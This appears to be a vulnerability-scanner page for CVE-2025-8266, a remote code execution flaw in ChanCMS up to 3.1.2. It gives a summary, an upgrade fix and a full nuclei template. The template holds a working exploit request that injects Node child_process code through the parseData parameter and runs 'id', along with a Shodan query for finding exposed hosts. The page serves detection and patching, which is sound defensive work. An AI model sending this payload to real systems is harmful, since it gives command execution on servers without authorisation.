ChanCMS <= 3.1. - Remote Code Execution

criticalseverity

1.1%likelihood of exploitation, next 30 days

67%of all CVEs are less likely

Readycheck to confirm it

yanyutao0402 ChanCMS <= 3.1.2 contains an insecure deserialization caused by manipulation of the \"targetUrl\" argument in getArticle function of app/modules/cms/controller/collect.js, letting remote attackers execute arbitrary code, exploit requires crafted input.

Impact

Remote attackers can execute arbitrary code, potentially leading to full system compromise.

Fix

Upgrade to version 3.1.3.

How to confirm it

Send: GET /cms/gather/getArticle?targetUrl=http://jsonplaceholder.typicode.com/posts/1&parseData=return+process.mainModule.require(%27child_process%27).execSync(%27i…
Positive when: status_code == 200 and contains_all(body, "uid=", "gid=", "groups=") and contains(header, "ChanCMS")

Run it with nuclei: nuclei -id CVE-2025-8266 -u <target>

The full check

id: CVE-2025-8266

info:
  name: ChanCMS <= 3.1. - Remote Code Execution
  author: Ark
  severity: critical
  description: |
    yanyutao0402 ChanCMS <= 3.1.2 contains an insecure deserialization caused by manipulation of the \"targetUrl\" argument in getArticle function of app/modules/cms/controller/collect.js, letting remote attackers execute arbitrary code, exploit requires crafted input.
  impact: |
    Remote attackers can execute arbitrary code, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 3.1.3.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8266
    - https://github.com/advisories/GHSA-pg2f-hfwm-m7g5
    - https://avd.aliyun.com/detail?id=AVD-2025-8266
    - https://dbugs.ptsecurity.com/vulnerability/PT-2025-31058
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"ChanCMS"
  tags: cve,cve2025,chancms,rce,deserialization,intrusive,vuln,vkev

http:
  - raw:
      - |
        GET /cms/gather/getArticle?targetUrl=http://jsonplaceholder.typicode.com/posts/1&parseData=return+process.mainModule.require(%27child_process%27).execSync(%27id%27).toString() HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "uid=", "gid=", "groups=")'
          - 'contains(header, "ChanCMS")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from